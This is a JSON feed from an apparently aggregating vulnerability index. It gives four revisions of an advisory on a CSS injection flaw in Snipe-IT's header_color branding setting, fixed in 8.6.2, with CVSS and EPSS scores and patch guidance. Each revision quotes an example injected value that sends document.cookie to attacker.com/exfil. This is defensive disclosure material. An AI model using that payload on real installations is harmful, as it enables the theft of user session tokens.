{"items":[{"id":"NVI-00008324","kind":"vulnerability","title":"Snipe-IT has CSS Injection via `header_color` Setting","revision":4,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected.","NVD lastModified does not establish freshness of every associated CPE record."],"lifecycle":"active","identifiers":["GHSA-w7qw-5wfv-gwx9","CVE-2026-55481"],"plain_summary":"OSV carries this publisher advisory for snipe/snipe-it. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 8.6.2 for snipe/snipe-it. Confirm the publisher’s latest guidance.","source_ids":["sr-febd46e3691296fd74fefe84a66e1fc8"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-2b4a98cbe5bde04f1ef5f1b09900a7f8"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-10-25T15:10:00.147Z","value":"4.8 MEDIUM (3.1)","meaning":"nvd@nist.gov severity; no combined Null risk score.","source_id":"sr-01df7788b40def48fb400d841b586679"},{"kind":"CVSS","as_of":"2026-10-25T15:10:00.147Z","value":"6.2 MEDIUM (4.0)","meaning":"security-advisories@github.com severity; no combined Null risk score.","source_id":"sr-01df7788b40def48fb400d841b586679"},{"kind":"EPSS","as_of":"2026-11-01T12:00:16.000Z","value":"0.315%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.24418. Missing scores are unknown.","source_id":"sr-2b4a98cbe5bde04f1ef5f1b09900a7f8"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-febd46e3691296fd74fefe84a66e1fc8","url":"https://github.com/advisories/GHSA-w7qw-5wfv-gwx9","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-w7qw-5wfv-gwx9","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:41.384Z"},{"id":"sr-01df7788b40def48fb400d841b586679","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55481","basis":"official_catalog","notes":"This product uses data from the NVD API but is not endorsed or certified by the NVD.","title":"CVE-2026-55481","publisher":"NIST National Vulnerability Database","observed_at":"2026-11-03T22:35:50.402Z"},{"id":"sr-2b4a98cbe5bde04f1ef5f1b09900a7f8","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2026-55481","publisher":"FIRST EPSS","observed_at":"2026-11-01T14:28:32.283Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-febd46e3691296fd74fefe84a66e1fc8"],"technology":"snipe/snipe-it","known_exclusions":[],"conditions_summary":"### Impact\n\nBecause `default.blade.php` is the base layout loaded on every authenticated page, all active user sessions are affected immediately upon the next page load after the payload is saved. An attacker who has compromised an admin account (or who is a malicious insider) can use this to silently exfiltrate session tokens from all other users, including other administrators.\n\nAdditionally, the Content Security Policy is disabled by default in Snipe-IT installations, which removes the primary browser-level mitigation for this class of attack.\n\n\n### Details\nThe `header_color` setting (and related color settings such as `nav_color` and `link_color`) is rendered inside a CSS `` block using Laravel's `{{ }}` syntax:\n\n```\n--main-theme-color: {{ $snipeSettings->header_color ?? '#3c8dbc' }};\n```\n\nAlthough `{{ }}` applies HTML entity encoding, this is insufficient in a CSS context. An attacker with superadmin access to the `Settings > Branding` page can inject arbitrary CSS by setting the `header_color` value to something like:\n\n```\n    #fff; } body { background: url('https://attacker.com/exfil?c='+document.cookie); } .x {\n```\n","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 8.6.2"]}],"null_published_at":"2026-11-06T15:18:11.456Z","source_updated_at":"2026-08-28T18:15:06.226Z","source_disclosed_at":"2026-08-28T18:04:29.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Dated EPSS estimate updated; this is not a new disclosure or proof of exploitation.","null_first_observed_at":"2026-10-31T21:42:41.384Z"},{"id":"NVI-00008324","kind":"vulnerability","title":"Snipe-IT has CSS Injection via `header_color` Setting","revision":3,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected.","NVD lastModified does not establish freshness of every associated CPE record."],"lifecycle":"active","identifiers":["GHSA-w7qw-5wfv-gwx9","CVE-2026-55481"],"plain_summary":"OSV carries this publisher advisory for snipe/snipe-it. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 8.6.2 for snipe/snipe-it. Confirm the publisher’s latest guidance.","source_ids":["sr-febd46e3691296fd74fefe84a66e1fc8"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-7a47c8a313c80a5561826ef62093b1fd"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-10-25T15:10:00.147Z","value":"4.8 MEDIUM (3.1)","meaning":"nvd@nist.gov severity; no combined Null risk score.","source_id":"sr-01df7788b40def48fb400d841b586679"},{"kind":"CVSS","as_of":"2026-10-25T15:10:00.147Z","value":"6.2 MEDIUM (4.0)","meaning":"security-advisories@github.com severity; no combined Null risk score.","source_id":"sr-01df7788b40def48fb400d841b586679"},{"kind":"EPSS","as_of":"2026-10-31T12:00:27.000Z","value":"0.315%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.2442. Missing scores are unknown.","source_id":"sr-7a47c8a313c80a5561826ef62093b1fd"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-febd46e3691296fd74fefe84a66e1fc8","url":"https://github.com/advisories/GHSA-w7qw-5wfv-gwx9","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-w7qw-5wfv-gwx9","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:41.384Z"},{"id":"sr-01df7788b40def48fb400d841b586679","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55481","basis":"official_catalog","notes":"This product uses data from the NVD API but is not endorsed or certified by the NVD.","title":"CVE-2026-55481","publisher":"NIST National Vulnerability Database","observed_at":"2026-11-03T22:35:50.402Z"},{"id":"sr-7a47c8a313c80a5561826ef62093b1fd","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2026-55481","publisher":"FIRST EPSS","observed_at":"2026-10-31T22:06:15.383Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-febd46e3691296fd74fefe84a66e1fc8"],"technology":"snipe/snipe-it","known_exclusions":[],"conditions_summary":"### Impact\n\nBecause `default.blade.php` is the base layout loaded on every authenticated page, all active user sessions are affected immediately upon the next page load after the payload is saved. An attacker who has compromised an admin account (or who is a malicious insider) can use this to silently exfiltrate session tokens from all other users, including other administrators.\n\nAdditionally, the Content Security Policy is disabled by default in Snipe-IT installations, which removes the primary browser-level mitigation for this class of attack.\n\n\n### Details\nThe `header_color` setting (and related color settings such as `nav_color` and `link_color`) is rendered inside a CSS `` block using Laravel's `{{ }}` syntax:\n\n```\n--main-theme-color: {{ $snipeSettings->header_color ?? '#3c8dbc' }};\n```\n\nAlthough `{{ }}` applies HTML entity encoding, this is insufficient in a CSS context. An attacker with superadmin access to the `Settings > Branding` page can inject arbitrary CSS by setting the `header_color` value to something like:\n\n```\n    #fff; } body { background: url('https://attacker.com/exfil?c='+document.cookie); } .x {\n```\n","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 8.6.2"]}],"null_published_at":"2026-11-04T10:04:35.895Z","source_updated_at":"2026-08-28T18:15:06.226Z","source_disclosed_at":"2026-08-28T18:04:29.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Source facts changed; compare the preserved prior revision.","null_first_observed_at":"2026-10-31T21:42:41.384Z"},{"id":"NVI-00008324","kind":"vulnerability","title":"Snipe-IT has CSS Injection via `header_color` Setting","revision":2,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-w7qw-5wfv-gwx9","CVE-2026-55481"],"plain_summary":"OSV carries this publisher advisory for snipe/snipe-it. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 8.6.2 for snipe/snipe-it. Confirm the publisher’s latest guidance.","source_ids":["sr-febd46e3691296fd74fefe84a66e1fc8"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-7a47c8a313c80a5561826ef62093b1fd"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"EPSS","as_of":"2026-10-31T12:00:27.000Z","value":"0.315%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.2442. Missing scores are unknown.","source_id":"sr-7a47c8a313c80a5561826ef62093b1fd"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-febd46e3691296fd74fefe84a66e1fc8","url":"https://github.com/advisories/GHSA-w7qw-5wfv-gwx9","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-w7qw-5wfv-gwx9","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:41.384Z"},{"id":"sr-7a47c8a313c80a5561826ef62093b1fd","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2026-55481","publisher":"FIRST EPSS","observed_at":"2026-10-31T22:06:15.383Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-febd46e3691296fd74fefe84a66e1fc8"],"technology":"snipe/snipe-it","known_exclusions":[],"conditions_summary":"### Impact\n\nBecause `default.blade.php` is the base layout loaded on every authenticated page, all active user sessions are affected immediately upon the next page load after the payload is saved. An attacker who has compromised an admin account (or who is a malicious insider) can use this to silently exfiltrate session tokens from all other users, including other administrators.\n\nAdditionally, the Content Security Policy is disabled by default in Snipe-IT installations, which removes the primary browser-level mitigation for this class of attack.\n\n\n### Details\nThe `header_color` setting (and related color settings such as `nav_color` and `link_color`) is rendered inside a CSS `` block using Laravel's `{{ }}` syntax:\n\n```\n--main-theme-color: {{ $snipeSettings->header_color ?? '#3c8dbc' }};\n```\n\nAlthough `{{ }}` applies HTML entity encoding, this is insufficient in a CSS context. An attacker with superadmin access to the `Settings > Branding` page can inject arbitrary CSS by setting the `header_color` value to something like:\n\n```\n    #fff; } body { background: url('https://attacker.com/exfil?c='+document.cookie); } .x {\n```\n","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 8.6.2"]}],"null_published_at":"2026-11-01T19:14:01.612Z","source_updated_at":"2026-08-28T18:15:06.226Z","source_disclosed_at":"2026-08-28T18:04:29.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Dated EPSS estimate updated; this is not a new disclosure or proof of exploitation.","null_first_observed_at":"2026-10-31T21:42:41.384Z"},{"id":"NVI-00008324","kind":"vulnerability","title":"Snipe-IT has CSS Injection via `header_color` Setting","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-w7qw-5wfv-gwx9","CVE-2026-55481"],"plain_summary":"OSV carries this publisher advisory for snipe/snipe-it. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 8.6.2 for snipe/snipe-it. Confirm the publisher’s latest guidance.","source_ids":["sr-febd46e3691296fd74fefe84a66e1fc8"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-febd46e3691296fd74fefe84a66e1fc8","url":"https://github.com/advisories/GHSA-w7qw-5wfv-gwx9","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-w7qw-5wfv-gwx9","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:41.384Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-febd46e3691296fd74fefe84a66e1fc8"],"technology":"snipe/snipe-it","known_exclusions":[],"conditions_summary":"### Impact\n\nBecause `default.blade.php` is the base layout loaded on every authenticated page, all active user sessions are affected immediately upon the next page load after the payload is saved. An attacker who has compromised an admin account (or who is a malicious insider) can use this to silently exfiltrate session tokens from all other users, including other administrators.\n\nAdditionally, the Content Security Policy is disabled by default in Snipe-IT installations, which removes the primary browser-level mitigation for this class of attack.\n\n\n### Details\nThe `header_color` setting (and related color settings such as `nav_color` and `link_color`) is rendered inside a CSS `` block using Laravel's `{{ }}` syntax:\n\n```\n--main-theme-color: {{ $snipeSettings->header_color ?? '#3c8dbc' }};\n```\n\nAlthough `{{ }}` applies HTML entity encoding, this is insufficient in a CSS context. An attacker with superadmin access to the `Settings > Branding` page can inject arbitrary CSS by setting the `header_color` value to something like:\n\n```\n    #fff; } body { background: url('https://attacker.com/exfil?c='+document.cookie); } .x {\n```\n","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 8.6.2"]}],"null_published_at":"2026-10-31T22:13:22.839Z","source_updated_at":"2026-08-28T18:15:06.226Z","source_disclosed_at":"2026-08-28T18:04:29.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-10-31T21:42:41.384Z"}],"next_cursor":null,"snapshot_revision":"42594"}